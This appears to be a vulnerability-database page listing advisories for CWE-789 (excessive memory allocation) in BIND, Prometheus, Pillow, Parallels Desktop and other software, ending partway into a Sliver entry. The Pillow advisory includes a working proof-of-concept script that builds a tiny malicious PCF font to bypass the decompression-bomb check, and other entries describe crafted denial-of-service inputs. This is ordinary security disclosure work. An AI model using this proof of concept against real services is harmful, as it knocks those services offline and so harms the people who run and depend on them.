Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

406 vulnerabilities reference this CWE, most recent first.

GHSA-8MXM-4GJM-VRC7

Vulnerability from github – Published: 2024-02-13 15:31 – Updated: 2024-05-03 15:30
VLAI
Details

To keep its cache database efficient, named running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, named may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured max-cache-size limit to be significantly exceeded. This issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T14:15:46Z",
    "severity": "HIGH"
  },
  "details": "To keep its cache database efficient, `named` running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, `named` may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured `max-cache-size` limit to be significantly exceeded.\nThis issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.",
  "id": "GHSA-8mxm-4gjm-vrc7",
  "modified": "2024-05-03T15:30:36Z",
  "published": "2024-02-13T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PNNHZSZPG2E7NBMBNYPGHCFI4V4XRWNQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZDZFMEKQTZ4L7RY46FCENWFB5MDT263R"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240503-0008"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/13/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8RM2-7QQF-34QM

Vulnerability from github – Published: 2026-05-05 19:34 – Updated: 2026-06-08 16:22
VLAI
Summary
Prometheus: Remote read endpoint allows denial of service via crafted snappy payload
Details

Impact

The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.

Patches

Has the problem been patched? What versions should users upgrade to?

Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.

Workarounds

User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.306.0"
            },
            {
              "fixed": "0.311.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.305.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc.0"
            },
            {
              "last_affected": "2.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:34:05Z",
    "nvd_published_at": "2026-05-04T19:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe remote read endpoint (`/api/v1/read`) does not validate the declared decoded length in a snappy-compressed request body before allocating memory.\nAn unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.\n\n### Workarounds\nUser who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.",
  "id": "GHSA-8rm2-7qqf-34qm",
  "modified": "2026-06-08T16:22:14Z",
  "published": "2026-05-05T19:34:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prometheus/prometheus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prometheus: Remote read endpoint allows denial of service via crafted snappy payload"
}

GHSA-8V84-F9PQ-WR9X

Vulnerability from github – Published: 2026-07-20 21:08 – Updated: 2026-07-20 21:08
VLAI
Summary
Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
Details

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:08:27Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 \u2212 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS \u2014 attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # \u2191 NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph \u2014 xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 (\u0027A\u0027) \u2192 glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode \u00271\u0027 = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed \u2014 heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode \u00271\u0027) | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 \u00d7 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 \u00d7 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 \u00d7 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH \u2014 up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
  "id": "GHSA-8v84-f9pq-wr9x",
  "modified": "2026-07-20T21:08:27Z",
  "published": "2026-07-20T21:08:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
}

GHSA-8VHH-3C8H-FWC3

Vulnerability from github – Published: 2022-01-26 00:01 – Updated: 2022-02-02 00:02
VLAI
Details

This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13797.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13797.",
  "id": "GHSA-8vhh-3c8h-fwc3",
  "modified": "2022-02-02T00:02:05Z",
  "published": "2022-01-26T00:01:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34869"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1057"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8VVH-6WQM-9FPW

Vulnerability from github – Published: 2022-01-26 00:01 – Updated: 2022-02-01 00:00
VLAI
Details

This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13672.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13672.",
  "id": "GHSA-8vvh-6wqm-9fpw",
  "modified": "2022-02-01T00:00:49Z",
  "published": "2022-01-26T00:01:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34867"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1055"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8WMX-4C83-GCJF

Vulnerability from github – Published: 2026-05-10 15:31 – Updated: 2026-05-10 15:31
VLAI
Details

memono Notepad 4.2 contains a denial of service vulnerability that allows attackers to crash the application by pasting excessively long character buffers into note fields. Attackers can generate a payload containing 350000 repeated characters and paste it twice into a new note to trigger an application crash on iOS devices.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-10T13:16:30Z",
    "severity": "HIGH"
  },
  "details": "memono Notepad 4.2 contains a denial of service vulnerability that allows attackers to crash the application by pasting excessively long character buffers into note fields. Attackers can generate a payload containing 350000 repeated characters and paste it twice into a new note to trigger an application crash on iOS devices.",
  "id": "GHSA-8wmx-4c83-gcjf",
  "modified": "2026-05-10T15:31:20Z",
  "published": "2026-05-10T15:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47944"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49977"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/memono-notepad-denial-of-service-via-buffer-overflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-947V-GCQQ-82HV

Vulnerability from github – Published: 2026-08-06 15:32 – Updated: 2026-08-06 15:32
VLAI
Details

Sonic 3 A.I.R. before commit 2492d18 contains an unbounded memory allocation vulnerability in ReceivedPacketCache::enqueuePacket() that allows unauthenticated remote attackers to crash the server process by sending a crafted UDP packet with mUniquePacketID set to the maximum uint32 value. The mUniquePacketID field is read directly from the UDP wire-format packet header without bounds checking, causing the server to allocate one CacheItem per missing packet ID gap, exhausting available host memory and propagating an uncaught std::bad_alloc exception to std::terminate().

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-06T13:18:21Z",
    "severity": "HIGH"
  },
  "details": "Sonic 3 A.I.R. before commit 2492d18 contains an unbounded memory allocation vulnerability in ReceivedPacketCache::enqueuePacket() that allows unauthenticated remote attackers to crash the server process by sending a crafted UDP packet with mUniquePacketID set to the maximum uint32 value. The mUniquePacketID field is read directly from the UDP wire-format packet header without bounds checking, causing the server to allocate one CacheItem per missing packet ID gap, exhausting available host memory and propagating an uncaught std::bad_alloc exception to std::terminate().",
  "id": "GHSA-947v-gcqq-82hv",
  "modified": "2026-08-06T15:32:43Z",
  "published": "2026-08-06T15:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66733"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eukaryot/sonic3air/commit/2492d1882cd2cf1cc1d7415729ce5c4fd686cd4f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/sonic-3-a-i-r-unbounded-memory-allocation-dos-via-receivedpacketcache"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9566-65PP-GHQG

Vulnerability from github – Published: 2025-05-12 18:31 – Updated: 2025-05-12 18:31
VLAI
Details

IBM 4769 Developers Toolkit 7.0.0 through 7.5.52 could allow a remote attacker to cause a denial of service in the Hardware Security Module (HSM) due to improper memory allocation of an excessive size.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-3632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-12T17:15:46Z",
    "severity": "HIGH"
  },
  "details": "IBM 4769 Developers Toolkit 7.0.0 through 7.5.52 could allow a remote attacker to cause a denial of service in the Hardware Security Module (HSM) due to improper memory allocation of an excessive size.",
  "id": "GHSA-9566-65pp-ghqg",
  "modified": "2025-05-12T18:31:46Z",
  "published": "2025-05-12T18:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3632"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7233139"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-97VP-PWQJ-46QC

Vulnerability from github – Published: 2026-03-17 17:48 – Updated: 2026-03-30 14:04
VLAI
Summary
Sliver Vulnerable to Authenticated OOM via Memory Exhaustion in mTLS/WireGuard Transports
Details

Summary

